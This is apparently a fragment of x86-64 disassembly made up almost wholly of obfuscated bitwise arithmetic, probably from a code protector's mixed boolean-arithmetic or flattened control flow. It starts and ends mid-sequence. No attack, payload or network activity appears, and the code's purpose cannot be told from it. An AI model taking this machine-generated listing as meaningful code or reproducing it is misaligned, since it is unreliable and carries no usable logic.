cmp eax, 0xc8852050
je 0x1400625ce
mov ecx, eax
cmp eax, 0xd6861dda
jne 0x140053140
mov eax, dword [0x1400986ac]
lea r12d, [rax - 1]
imul r12d, eax
mov r8d, r12d
not r8d
mov ecx, r8d
and ecx, 0xbec4c248
mov eax, r12d
and eax, 0x413b3db7
or eax, ecx
mov ecx, eax
xor ecx, 0x40312531
xor eax, 0xbec4c248
mov edx, r8d
and edx, r12d
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x170a5a86
and ecx, 0xe8f5a579
or ecx, ebx
or eax, ebp
and ebp, 0x170a5a86
and edx, 0xe8f5a579
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xa24a2215
and eax, 0x5db5ddea
or eax, ecx
mov r13d, eax
xor r13d, 0xa24a2215
and r13d, eax
mov eax, r12d
and eax, 0xf6995a4b
mov ecx, r8d
and ecx, 0x966a5b4
or ecx, eax
xor ecx, 0xab2c87a1
mov eax, r8d
and eax, 0x5db5ddea
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x960348e3
and eax, 0x69fcb71c
or eax, ecx
mov r9d, eax
xor r9d, 0x69fcb71c
xor eax, 0x960348e3
mov r10d, r13d
not r10d
mov ecx, r13d
xor ecx, 0x897ff5cf
and ecx, r10d
mov edx, r10d
or edx, 0x897ff5cf
mov esi, edx
not esi
mov r14d, r9d
or r14d, 0x76800a30
mov r15d, r14d
not r15d
mov r11d, eax
or r11d, 0x897ff5cf
mov ebx, r11d
not ebx
mov ebp, ecx
not ebp
mov edi, ebp
and edi, 0xfc6a02fc
and ecx, 0x395fd03
or ecx, edi
or ebp, edx
and edx, 0xfc6a02fc
and esi, 0x2800800
or esi, edx
xor esi, ecx
not ebp
or ebp, esi
and r14d, 0x38ce0440
and r15d, 0x8131f18f
or r15d, r14d
and r11d, 0x38ce0440
and ebx, 0x46000a30
or ebx, r11d
xor ebx, r15d
mov ecx, ebp
not ecx
and ecx, ebx
not ebx
and ebx, ebp
or ebx, ecx
mov ecx, r13d
and ecx, 0xd9586bc9
and r10d, 0x26a79436
or r10d, ecx
or r13d, r9d
and r9d, 0xd9586bc9
and eax, 0x26a79436
or eax, r9d
xor eax, r10d
not r13d
or r13d, eax
mov eax, r13d
not eax
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x9e9d0745
and ebx, 0x6162f8ba
or ebx, ecx
or edx, r13d
and r13d, 0x9e9d0745
and eax, 0x6162f8ba
or eax, r13d
xor eax, ebx
not edx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xa24a2215
and ecx, edx
not edx
and edx, 0x80002214
and eax, 0x224a0001
or eax, edx
mov edx, eax
xor edx, 0x20a0001
xor eax, 0xddb5fffe
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x7074935c
and edx, 0x820a2001
or edx, ebx
or eax, ebp
and ebp, 0x7074935c
and ecx, 0x8f8b6ca3
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x63a4ebf6
and eax, 0x9c5b1409
or eax, ecx
mov edx, eax
xor edx, 0x94190409
xor eax, 0x63a4ebf6
mov ecx, eax
and ecx, 0x4ac239f6
and edx, 0xb53dc609
or edx, ecx
mov ebp, edx
xor ebp, 0x280408
xor edx, 0x2110
or eax, 0xb829a559
mov ecx, eax
not ecx
or edx, 0x43864086
and edx, 0xf387e197
and ebp, 0x8280448
or ebp, edx
and eax, 0xf387e197
and ecx, 0x4501a20
or ecx, eax
xor ecx, ebp
mov eax, ecx
not eax
and eax, 0x47d65aa6
and ecx, 0xb829a559
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x4503eb5d
and eax, 0xbafc14a2
or eax, ecx
mov r15d, eax
xor r15d, 0x4501e345
xor eax, 0xa02c0082
and eax, 0xa02e089a
and r15d, 0x5fd1f765
or r15d, eax
mov ecx, r15d
xor ecx, 0x5fd1f765
mov r13d, r15d
xor r13d, 0xa02e089a
mov edx, r12d
or edx, 0xf2194762
mov ebp, edx
not ebp
mov ebx, r8d
or ebx, 0xde6b89d
mov eax, ebx
not eax
and edx, 0xdc38a10e
and ebp, 0x1c61891
or ebp, edx
and ebx, 0xdc38a10e
and eax, 0x22014660
or eax, ebx
xor eax, ebp
mov edx, eax
not edx
and edx, 0xb9ed3b81
and eax, 0x4612c47e
or eax, edx
mov edx, eax
xor edx, 0x4bf47ce3
and r8d, 0x1bb40a01
and r12d, 0xe44bf5fe
or r12d, r8d
mov ebp, r12d
xor ebp, 0xe44bf5fe
xor eax, 0xb40b831c
and ebp, eax
xor r12d, 0x1bb40a01
and r12d, edx
or r12d, ebp
not r12d
or r12d, eax
mov eax, r12d
not eax
mov edx, r13d
and edx, 0xb5508791
xor r15d, 0xea8170f4
and r15d, ecx
mov ebp, edx
and ebp, r15d
xor r15d, edx
or r15d, ebp
mov edx, r15d
not edx
and edx, 0xe6a8d93e
and r15d, 0x195726c1
or r15d, edx
mov r9d, r15d
xor r9d, 0xac07a150
mov edx, r12d
and edx, 0x351179d2
mov r8d, eax
and r8d, 0xcaee862d
or r8d, edx
mov r10d, r8d
xor r10d, 0xcaee862d
xor r8d, 0x351179d2
xor r15d, 0x53f85eaf
mov edx, r15d
and edx, 0x6d397815
mov ebp, r9d
and ebp, 0x92c687ea
or ebp, edx
not ebp
or ebp, r15d
mov r14d, ebp
not r14d
mov edx, r13d
and edx, 0x92c687ea
and ecx, 0x6d397815
or ecx, edx
xor r13d, ecx
and r13d, ecx
mov ecx, r8d
and ecx, 0x265ebd57
mov edx, r10d
and edx, 0xd9a142a8
or edx, ecx
xor edx, 0x4b67c542
mov r11d, edx
xor r11d, r8d
and r11d, edx
and r12d, 0x365239ce
and eax, 0xc9adc631
or eax, r12d
mov ecx, eax
xor ecx, 0x80848620
and ecx, 0x92c687ea
xor eax, 0x5b6b41db
or eax, ecx
mov edi, eax
not edi
mov ecx, ebp
and ecx, 0xa89deb5c
xor ebp, 0xe144d48
and ebp, r14d
and r14d, 0x576214a3
or r14d, ecx
xor r14d, 0x576214a3
mov edx, r13d
not edx
mov r12d, edx
mov ebx, r14d
and ebx, edx
xor edx, r14d
and r14d, 0xf1ebb2b7
or r13d, 0xe144d48
mov esi, r13d
not esi
or r12d, 0xf1ebb2b7
mov ecx, r14d
and ecx, ebp
xor ebp, r14d
mov r14d, r12d
not r14d
or ebp, ecx
and r13d, 0x30981670
and esi, 0xc163a087
or esi, r13d
and r12d, 0x30981670
and r14d, 0xe044908
or r14d, r12d
xor r14d, esi
mov ecx, ebp
not ecx
and ecx, 0x40c1edf0
and ebp, 0xbf3e120f
or ebp, ecx
mov ecx, r14d
not ecx
and ecx, 0x40c1edf0
and r14d, 0xbf3e120f
or r14d, ecx
xor r14d, ebp
or edx, ebx
not edx
mov ecx, r14d
and ecx, edx
xor edx, r14d
or edx, ecx
mov ebp, r11d
mov esi, r11d
xor esi, 0x5a1b62ca
and esi, r11d
not r11d
and r11d, 0x7a43b42c
and ebp, 0x85bc4bd3
or ebp, r11d
mov r11d, ebp
xor r11d, 0x85bc4bd3
and eax, 0x25341231
mov r12d, edi
and r12d, 0xdacbedce
or r12d, eax
mov r14d, r12d
xor r14d, 0xdacbedce
mov ecx, ebp
xor ecx, 0x2058d6e6
and ecx, r11d
xor r12d, 0x25341231
mov eax, r14d
and eax, 0x5a1b62ca
and edi, 0xa5e49d35
or edi, eax
mov eax, ecx
not eax
mov ebx, esi
not ebx
mov r13d, eax
and r13d, 0xa24b846f
and ecx, 0x5db47b90
or ecx, r13d
or eax, ebx
and ebx, 0xa24b846f
and esi, 0x5db47b90
or esi, ebx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
and ecx, edi
not edi
and edi, eax
or edi, ecx
xor ebp, 0x7a43b42c
mov eax, ebp
and eax, 0x8628130c
and r11d, 0x79d7ecf3
or r11d, eax
or ebp, r12d
and r12d, 0x8628130c
and r14d, 0x79d7ecf3
or r14d, r12d
xor r14d, r11d
not ebp
or ebp, r14d
mov eax, ebp
not eax
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0xfcc1e033
and edi, 0x33e1fcc
or edi, ecx
or ebx, ebp
and ebp, 0xfcc1e033
and eax, 0x33e1fcc
or eax, ebp
xor eax, edi
not ebx
or ebx, eax
mov ecx, edx
mov eax, edx
xor eax, 0x7519f464
and eax, edx
not edx
and edx, 0xb55db652
and ecx, 0x4aa249ad
or ecx, edx
mov edx, ecx
xor edx, 0x4000
xor ecx, 0x3519b440
mov esi, ebx
not esi
mov ebp, ebx
xor ebp, 0x7519f464
and ebp, esi
and ebx, 0x8ae60b9b
or ecx, 0x8ae60b9b
mov edi, eax
not edi
mov esi, ecx
and esi, 0x65c0a425
and edx, 0x10195040
or edx, esi
or ecx, edi
and edi, 0x65c0a425
and eax, 0x9a3f5bda
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ebp
and eax, ebx
xor ebx, ebp
or ebx, eax
mov eax, ecx
not eax
and eax, 0x3c15965b
and ecx, 0xc3ea69a4
or ecx, eax
mov eax, ebx
not eax
and eax, 0x3c15965b
and ebx, 0xc3ea69a4
or ebx, eax
xor ebx, ecx
and r15d, 0xa85535df
mov edx, r9d
and edx, 0x57aaca20
or edx, r15d
mov eax, edx
xor eax, 0x57aaca20
and r8d, 0x297f9469
mov ecx, r10d
and ecx, 0xd6806b96
or ecx, r8d
xor ecx, 0xd6806b96
xor edx, 0x15746146
and edx, eax
and r9d, 0x42deab66
mov ebp, ecx
and ebp, 0xbd215499
and r10d, 0x42deab66
or r10d, ebp
mov ebp, edx
and ebp, r9d
xor r9d, edx
or r9d, ebp
mov edx, r9d
not edx
and edx, 0xdd94996f
and r9d, 0x226b6690
or r9d, edx
mov edx, r10d
not edx
and edx, 0xdd94996f
and r10d, 0x226b6690
or r10d, edx
xor r10d, r9d
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov ebp, r10d
not ebp
mov edx, ebp
and edx, 0xebdd8192
and r10d, 0x14227e6d
or r10d, edx
or ebp, ecx
and ecx, 0xebdd8192
and eax, 0x14227e6d
or eax, ecx
xor eax, r10d
not ebp
or ebp, eax
mov edx, ebp
not edx
and ebp, 0x2d39c8ef
and edx, 0xd2c63710
or edx, ebp
mov eax, edx
xor eax, 0x801c86f
xor edx, 0x10803400
and eax, 0xca47cb7f
and edx, 0x35b83480
or edx, eax
mov r11d, edx
xor r11d, 0x14800480
xor edx, 0xca47cb7f
mov r8d, ebx
not r8d
mov eax, edx
and eax, 0xa3387363
and r11d, 0x5cc78c9c
or r11d, eax
mov r9d, r11d
xor r9d, 0x5cc78c9c
mov r10d, r8d
and r10d, 0x7ec805f
mov eax, ebx
xor eax, 0x7ec805f
and eax, ebx
mov edi, r11d
xor edi, 0xa4d4f33c
and edi, r9d
or edx, 0x7ec805f
mov ebp, edx
not ebp
mov ecx, r10d
and ecx, eax
xor eax, r10d
or eax, ecx
mov ecx, edi
not ecx
mov esi, ecx
and esi, 0xa1a54300
and edi, 0x5e5abcff
or edi, esi
or ecx, edx
and edx, 0xa1a54300
and ebp, 0x58123ca0
or ebp, edx
xor ebp, edi
not ecx
or ecx, ebp
mov edx, eax
not edx
and edx, 0x1b97434a
and eax, 0xe468bcb5
or eax, edx
mov edx, ecx
not edx
and edx, 0x1b97434a
and ecx, 0xe468bcb5
or ecx, edx
xor ecx, eax
xor r11d, 0xa3387363
mov eax, ebx
and eax, 0x77640942
and r8d, 0x889bf6bd
or r8d, eax
or ebx, r11d
and r11d, 0x77640942
and r9d, 0x889bf6bd
or r9d, r11d
xor r9d, r8d
not ebx
or ebx, r9d
mov eax, ebx
not eax
and eax, 0x451014b3
and ebx, 0xbaefeb4c
or ebx, eax
mov edx, ebx
xor edx, 0x3ac00108
mov esi, ecx
not esi
xor ebx, 0x451014b3
mov eax, esi
and eax, 0xc12feae4
and ecx, 0x3ed0151b
or ecx, eax
or esi, ebx
and ebx, 0xc12feae4
and edx, 0x3ed0151b
or edx, ebx
xor edx, ecx
not esi
or esi, edx
mov r8d, esi
not r8d
mov ecx, esi
xor ecx, 0x67bdfafd
mov edx, ecx
and edx, esi
and ecx, r8d
mov edi, edx
not edi
mov ebp, ecx
not ebp
mov eax, edi
and eax, 0x758ab1b6
and edx, 0x8a754e49
or edx, eax
or edi, ebp
and ebp, 0x758ab1b6
and ecx, 0x8a754e49
or ecx, ebp
xor ecx, edx
not edi
or edi, ecx
mov eax, edi
not eax
and eax, 0x7b25c6c8
and edi, 0x84da3937
or edi, eax
xor edi, 0xe367c3cb
mov ebx, esi
mov ecx, esi
mov r9d, r8d
mov ebp, esi
mov edx, r8d
and edx, 0xd0901d0d
and esi, 0x2f6fe2f2
or esi, edx
xor esi, 0x9b2087b3
or esi, r8d
and r8d, 0x26093d03
and ebx, 0xd9f6c2fc
or ebx, r8d
xor ebx, 0xd9f6c2fd
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x5b9d3927
and ecx, 0xa462c6d8
or ecx, edx
xor ecx, 0xa462c6d8
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xaf7a9735
and edx, ecx
and ecx, 0x508568ca
or ecx, ebx
mov ebx, ecx
xor ebx, 0x508168c2
xor ecx, 0xaf7a9735
mov edi, edx
not edi
mov eax, ecx
and eax, 0xa24e150c
and ebx, 0x5db1eaf3
or ebx, eax
or ecx, edi
and edi, 0xa24e150c
and edx, 0x5db1eaf3
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x59eca025
and ecx, 0xa6135fda
or ecx, eax
mov eax, ecx
xor eax, 0xa21246c8
xor ecx, 0x1e48000
and ecx, 0x5e59912
and eax, 0xfa1a66ed
or eax, ecx
mov r13d, eax
xor r13d, 0x1e48800
xor eax, 0x4a1a0220
and eax, 0x4e1b1332
and r13d, 0xb1e4eccd
or r13d, eax
mov edx, r13d
xor edx, 0xb1e4eccd
xor r13d, 0x4e1b1332
and r9d, 0xa0062500
and ebp, 0x14494041
or ebp, r9d
mov eax, ebp
xor eax, 0x14494041
xor ebp, 0xab86a500
mov ecx, esi
not ecx
mov edi, eax
xor edi, esi
and edi, eax
and ebp, 0xab8fa500
and eax, 0x14404041
or eax, ebp
and esi, 0xab8fa500
and ecx, 0x54705aff
or ecx, esi
xor ecx, eax
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, ecx
not eax
mov ebp, eax
and ebp, 0xe42e8fe5
and ecx, 0x1bd1701a
or ecx, ebp
mov ebp, ecx
xor ebp, 0x8014012
xor ecx, 0x20040a21
or eax, 0x682d5f3b
mov r12d, eax
not r12d
or ecx, 0x81d280c4
and ecx, 0xa1d69aed
and ebp, 0x48294512
or ebp, ecx
and eax, 0xa1d69aed
and r12d, 0x16002000
or r12d, eax
xor r12d, ebp
mov eax, r12d
not eax
and eax, 0xe07f1af8
and r12d, 0x1f80e507
or r12d, eax
mov r11d, r12d
xor r11d, 0xc3e2df7c
mov eax, r13d
and eax, 0x69240409
mov ecx, edx
and ecx, 0x10101804
or ecx, eax
xor ecx, 0x10101804
mov r14d, edx
and r14d, 0x86cbe3f2
or r14d, ecx
mov eax, r14d
not eax
and eax, 0x3fdb411c
and r14d, 0xc024bee3
or r14d, eax
mov r10d, r14d
xor r10d, 0xb910a2ee
mov ecx, r12d
xor ecx, 0x3c1d2083
mov edi, r11d
xor r12d, 0xe1be8da5
and r12d, r11d
mov eax, ecx
and eax, 0xda1765d9
and r11d, 0x25e89a26
or r11d, eax
not r11d
or r11d, ecx
and ecx, 0x225000c1
and edi, 0xc5218
or edi, ecx
xor edi, 0xc5218
mov eax, edi
and eax, r12d
xor r12d, edi
or r12d, eax
mov eax, r12d
not eax
and eax, 0xdda3ad26
and r12d, 0x225c52d9
or r12d, eax
mov eax, r14d
xor eax, 0x46ef5d11
mov dword [rsp + 0x24], eax
and eax, 0xec5981bd
mov ecx, r10d
and ecx, 0x13a67e42
or ecx, eax
mov eax, ecx
xor eax, 0x1a01a02
and eax, 0x25e89a26
xor ecx, 0x364ee464
or ecx, eax
mov ebp, ecx
not ebp
mov eax, r13d
and eax, 0xee7f741b
and edx, 0x11808be4
or edx, eax
xor edx, 0x346811c2
xor r13d, edx
and r13d, edx
mov r9d, r12d
not r9d
mov eax, r9d
and eax, 0x25e89a26
mov edx, r12d
and edx, 0xda1765d9
or edx, eax
mov r15d, edx
xor r15d, r9d
and r15d, edx
mov esi, r13d
not esi
mov eax, ecx
xor eax, 0x951ff0e3
mov edx, eax
and edx, ecx
and eax, ebp
mov ebx, r13d
xor ebx, 0x6ae00f1c
mov edi, edx
and edi, eax
xor eax, edx
mov edx, ebx
and edx, esi
or eax, edi
mov edi, edx
not edi
mov r8d, edi
and r8d, 0x3b3e0444
and edx, 0xc4c1fbbb
or edx, r8d
and ebx, r13d
mov r8d, ebx
not r8d
or edi, r8d
and r8d, 0x3b3e0444
and ebx, 0xc4c1fbbb
or ebx, r8d
xor ebx, edx
not edi
or edi, ebx
mov ebx, eax
not ebx
and ebx, edi
not edi
and edi, eax
mov edx, r11d
not edx
or edi, ebx
mov eax, ebp
and eax, 0xf132d9a9
and ecx, 0xecd2656
or ecx, eax
or ebp, r13d
and r13d, 0xf132d9a9
and esi, 0xecd2656
or esi, r13d
xor esi, ecx
not ebp
or ebp, esi
mov eax, ebp
not eax
and eax, 0x9fce580
and ebp, 0xf6031a7f
or ebp, eax
mov eax, ebp
xor eax, 0xd602003d
mov r8d, edi
not r8d
xor ebp, 0x9fce580
mov ecx, r8d
and ecx, 0x29911e42
and edi, 0xd66ee1bd
or edi, ecx
or r8d, ebp
and ebp, 0x29911e42
and eax, 0xd66ee1bd
or eax, ebp
xor eax, edi
not r8d
or r8d, eax
mov ebp, r15d
mov ecx, r15d
xor ecx, 0x6e55b71f
and ecx, r15d
not r15d
and r15d, 0xd2bd0692
and ebp, 0x2d42f96d
or ebp, r15d
mov r15d, ebp
xor r15d, 0x2d42f96d
and r11d, 0xeeb7c7a
mov eax, edx
and eax, 0xf1148385
or eax, r11d
mov edi, eax
xor edi, 0xf1148385
xor ebp, 0xbce8b18d
and ebp, r15d
xor eax, 0x60becb65
and eax, edi
and edx, 0x91aa48e0
mov ebx, ebp
not ebx
mov esi, ebx
and esi, 0x2d678de7
and ebp, 0xd2987218
or ebp, esi
mov esi, ecx
not esi
or ebx, esi
and esi, 0x2d678de7
and ecx, 0xd2987218
or ecx, esi
xor ecx, ebp
not ebx
or ebx, ecx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, ebx
not eax
and eax, 0x3d97116
and ebx, 0xfc268ee9
or ebx, eax
mov eax, edx
not eax
and eax, 0x3d97116
and edx, 0xfc268ee9
or edx, eax
xor edx, ebx
mov eax, r15d
and eax, edi
xor edi, r15d
or edi, eax
not edi
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
mov eax, r8d
not eax
and eax, 0xb0facebc
mov ecx, r8d
and ecx, 0x4f053143
or ecx, eax
xor ecx, edi
xor ecx, 0xb0facebc
and ecx, edi
mov eax, edi
not eax
and eax, 0xff32a9e5
and edi, 0xcd561a
or edi, eax
xor edi, r8d
xor edi, 0xff32a9e5
and edi, r8d
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
xor r14d, 0x6ea5649c
mov ebp, r14d
mov r11d, dword [rsp + 0x24]
and ebp, r11d
and r14d, r10d
mov r8d, r12d
xor r8d, 0xd7b5c672
and r8d, r9d
mov ecx, r12d
and ecx, 0x284a398d
mov edx, ebp
not edx
mov ebx, r14d
not ebx
mov esi, edx
and esi, 0xd812359a
and ebp, 0x27edca65
or ebp, esi
or edx, ebx
and ebx, 0xd812359a
and r14d, 0x27edca65
or r14d, ebx
xor r14d, ebp
not edx
or edx, r14d
mov eax, r8d
and eax, ecx
xor ecx, r8d
or ecx, eax
mov eax, edx
not eax
and eax, 0xd1e8eaf5
and edx, 0x2e17150a
or edx, eax
mov eax, ecx
not eax
and eax, 0xd1e8eaf5
and ecx, 0x2e17150a
or ecx, eax
xor ecx, edx
mov eax, r10d
and eax, 0x658191c6
mov edx, r11d
and edx, 0x9a7e6e39
or edx, eax
or r10d, r12d
and r12d, 0x658191c6
and r9d, 0x9a7e6e39
or r9d, r12d
xor r9d, edx
not r10d
or r10d, r9d
not r10d
mov eax, ecx
and eax, r10d
xor r10d, ecx
or r10d, eax
mov eax, r10d
xor eax, 0x99c7942b
and eax, r10d
or r10d, 0x66386bd4
mov ecx, r10d
not ecx
mov edx, eax
not edx
mov ebp, r10d
and ebp, 0x3dcd7889
and ecx, 0x80028422
or ecx, ebp
or r10d, edx
and edx, 0x3dcd7889
and eax, 0xc2328776
or eax, edx
xor eax, ecx
not r10d
or r10d, eax
mov eax, r10d
not eax
and eax, 0x66386bd4
and r10d, 0x99c7942b
or r10d, eax
mov ecx, edi
xor ecx, 0x629962f3
mov ebx, ecx
and ecx, edi
not edi
mov eax, r10d
xor eax, 0x629962f3
mov ebp, eax
and eax, r10d
not r10d
and ebx, edi
and ebp, r10d
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
or eax, edx
mov ecx, edi
and ecx, r10d
xor r10d, edi
or r10d, ecx
mov edx, r10d
not edx
mov r9d, eax
not r9d
mov ecx, r9d
and ecx, 0x42e46dc9
and eax, 0xbd1b9236
or eax, ecx
or r9d, r10d
and r10d, 0x42e46dc9
and edx, 0xbd1b9236
or edx, r10d
xor edx, eax
not r9d
or r9d, edx
mov r8d, r9d
not r8d
mov eax, r8d
and eax, r9d
mov ecx, eax
not ecx
mov esi, r9d
and esi, 0x9a514a7d
mov edx, r8d
and edx, 0x65aeb582
or edx, esi
mov edi, r9d
or edi, ecx
and ecx, 0x9a514a7d
and eax, 0x65aeb582
or eax, ecx
xor eax, edx
not edi
or edi, eax
mov eax, edi
not eax
and eax, 0x90fcbf46
and edi, 0x6f0340b9
or edi, eax
mov ebx, edi
xor ebx, 0x2f020001
xor edi, 0x10280906
and edi, 0x502949be
and ebx, 0xafd6b641
or ebx, edi
mov eax, ebx
xor eax, 0x89501041
xor ebx, 0x502949be
mov ecx, ebx
and ecx, 0x36aeae98
and eax, 0xc9515167
or eax, ecx
mov ecx, eax
xor ecx, 0xc9515167
mov edx, eax
xor edx, 0x12a4a480
or edx, 0x240b5b18
mov edi, edx
not edi
or ebx, 0xdbf4a4e7
mov ebp, ebx
not ebp
and edx, 0x4ae9df49
and edi, 0x911420a6
or edi, edx
and ebx, 0x4ae9df49
and ebp, 0x24020010
or ebp, ebx
xor ebp, edi
mov edx, ebp
not edx
and edx, 0x91e942a9
and ebp, 0x6e16bd56
or ebp, edx
xor ebp, 0x4a1de64e
xor eax, 0x36aeae98
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe7428bc0
and eax, 0x18bd743f
or eax, ecx
xor eax, 0x18bd743f
mov ecx, ebp
and ecx, eax
xor eax, ebp
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x46187ba1
and eax, 0xb9e7845e
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x3fbb6ebe
and eax, 0xc0449141
or eax, ecx
mov ecx, eax
xor ecx, 0x820400c0
xor eax, 0x71010115
and eax, 0x7559eb35
and ecx, 0x8aa614ca
or ecx, eax
mov eax, ecx
xor eax, 0x1484120
xor ecx, 0x8a26040a
and ecx, 0xfe37ae1f
and eax, 0x1c851e0
or eax, ecx
mov ebp, eax
xor ebp, 0x881040
xor eax, 0x4203a803
and eax, 0x4343e9a3
and ebp, 0xbcbc165c
or ebp, eax
mov r11d, ebp
xor r11d, 0x4343e9a3
xor ebp, 0xbcbc165c
and r8d, 0xec201614
mov eax, r9d
and eax, 0x55a861
or eax, r8d
xor eax, 0x55a861
and r9d, 0x138a418a
or r9d, eax
mov eax, r9d
not eax
and eax, 0x138a418a
and r9d, 0xec75be75
or r9d, eax
mov eax, r9d
not eax
mov ecx, r9d
and ecx, eax
xor eax, r9d
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xe2e894d8
and ecx, eax
not eax
and eax, 0x724a19a1
and edx, 0x8db5e65e
or edx, eax
mov eax, edx
xor eax, 0x408
xor edx, 0x62481080
or edx, 0x1d176b27
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xcceae8f0
and eax, 0x22001408
or eax, edi
or edx, ebx
and ebx, 0xcceae8f0
and ecx, 0x3315170f
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x1d176b27
and edx, 0xe2e894d8
or edx, eax
mov eax, edx
not eax
and eax, 0x1dc28991
and edx, 0xe23d766e
or edx, eax
mov r12d, edx
xor r12d, 0x62011000
xor edx, 0x981
and edx, 0x803c6fef
and r12d, 0x7fc39010
or r12d, edx
mov r10d, r12d
xor r10d, 0x803c6fef
xor r12d, 0x7fc39010
mov edx, r11d
and edx, 0x6be342d8
mov eax, ebp
and eax, 0xdca9a3c1
and r11d, 0x23565c3e
or r11d, eax
not r11d
or r11d, ebp
and ebp, 0x941cbd27
or ebp, edx
mov edx, ebp
xor edx, 0x6be342d8
mov eax, r10d
and eax, 0xbfccfb48
mov ecx, r12d
and ecx, 0x403304b7
or ecx, eax
mov eax, ecx
xor eax, 0x11
xor ecx, 0x2002100
mov ebx, r10d
or ebx, 0x1a42a7d5
mov r15d, ebx
not r15d
or ecx, 0x41a0102a
and ecx, 0x43a235ae
and eax, 0x18408251
or eax, ecx
and ebx, 0x43a235ae
and r15d, 0xa41d4800
or r15d, ebx
xor r15d, eax
mov eax, r15d
not eax
and eax, 0xe5bd582a
and r15d, 0x1a42a7d5
or r15d, eax
mov r9d, ebp
xor r9d, 0x941cbd27
mov r8d, r9d
and r8d, 0x23565c3e
xor ebp, 0xdd624063
mov r14d, ebp
and ebp, edx
mov ecx, edx
and ecx, 0xdca9a3c1
or ecx, r8d
not ecx
or ecx, r9d
mov ebx, ecx
not ebx
mov eax, r11d
not eax
mov r13d, r15d
not r13d
mov edx, r13d
and edx, 0x23565c3e
mov esi, r15d
and esi, 0xdca9a3c1
or esi, edx
and r10d, 0x9313ec89
and r12d, 0x6cec1376
or r12d, r10d
mov edx, r12d
xor edx, 0x4ca80340
and edx, 0xdca9a3c1
xor r12d, 0xb045b0b7
or r12d, edx
mov edx, r12d
not edx
and edx, 0x5c995e1
and r12d, 0xfa366a1e
or r12d, edx
mov edx, ecx
and edx, 0xd2e900e3
xor ecx, 0x545589a4
and ecx, ebx
and ebx, 0x2d16ff1c
or ebx, edx
mov r8d, ebx
xor r8d, 0x2d16ff1c
and r11d, 0xfa842bbf
mov edx, eax
and edx, 0x57bd440
or edx, r11d
xor ebx, 0x794376b8
and ebx, r8d
mov r11d, ebx
not r11d
mov r10d, r11d
and r10d, 0xf97befd7
and ebx, 0x6841028
or ebx, r10d
mov r10d, ecx
not r10d
or r11d, r10d
and r10d, 0xf97befd7
and ecx, 0x6841028
or ecx, r10d
xor ecx, ebx
mov edi, edx
xor edi, 0x57bd440
xor edx, 0x512e5de4
and edx, edi
and eax, 0x545589a4
not r11d
or r11d, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
not esi
or esi, r13d
or eax, ecx
mov ecx, r11d
not ecx
and ecx, eax
not eax
and eax, r11d
mov edx, esi
not edx
or eax, ecx
mov ecx, r8d
and ecx, edi
xor edi, r8d
or edi, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0xce95b26e
and eax, 0x316a4d91
or eax, ecx
mov ecx, edi
not ecx
or ebx, edi
and edi, 0xce95b26e
and ecx, 0x316a4d91
or ecx, edi
mov edi, r12d
xor edi, 0xfa366a1e
xor ecx, eax
mov eax, r12d
xor eax, 0x5c995e1
not ebx
or ebx, ecx
mov ecx, esi
and ecx, 0xa1bedbad
xor esi, 0x5ac84140
and esi, edx
and edx, 0x5e412452
or edx, ecx
xor edx, 0x5e412452
mov ecx, edx
and ecx, 0xa537bebf
xor r12d, 0x5f01d4a1
and r12d, edi
mov edi, ecx
and edi, esi
xor esi, ecx
mov ecx, edx
and ecx, eax
xor edx, eax
and eax, 0xa537bebf
or esi, edi
mov edi, eax
and edi, r12d
xor r12d, eax
or r12d, edi
mov eax, esi
not eax
and eax, r12d
not r12d
and r12d, esi
or r12d, eax
or edx, ecx
mov eax, r12d
not eax
mov ecx, eax
and ecx, 0xb790a588
and r12d, 0x486f5a77
or r12d, ecx
mov ecx, edx
not ecx
or eax, edx
and edx, 0xb790a588
and ecx, 0x486f5a77
or ecx, edx
xor ecx, r12d
not eax
or eax, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x148cc042
and ebx, 0x21202020
or ebx, ecx
mov ecx, eax
not ecx
mov edi, eax
xor edi, 0x35ace062
and edi, ecx
mov esi, ebx
xor esi, 0x1200020
xor ebx, 0x4e95538f
or edx, 0x35ace062
and ebx, 0x6e95738f
and esi, 0x11288060
or esi, ebx
mov ecx, edx
not ecx
and edx, 0x6e95738f
and ecx, 0x80420c10
or ecx, edx
and eax, 0xca531f9d
xor ecx, esi
mov edx, edi
and edx, eax
xor eax, edi
or eax, edx
mov edx, ecx
not edx
and edx, 0xe47a5cad
and ecx, 0x1b85a352
or ecx, edx
mov edx, eax
not edx
and edx, 0xe47a5cad
and eax, 0x1b85a352
or eax, edx
xor eax, ecx
and r14d, r9d
mov ecx, r14d
not ecx
mov edx, ecx
and edx, 0x1bbacad4
and r14d, 0xe445352b
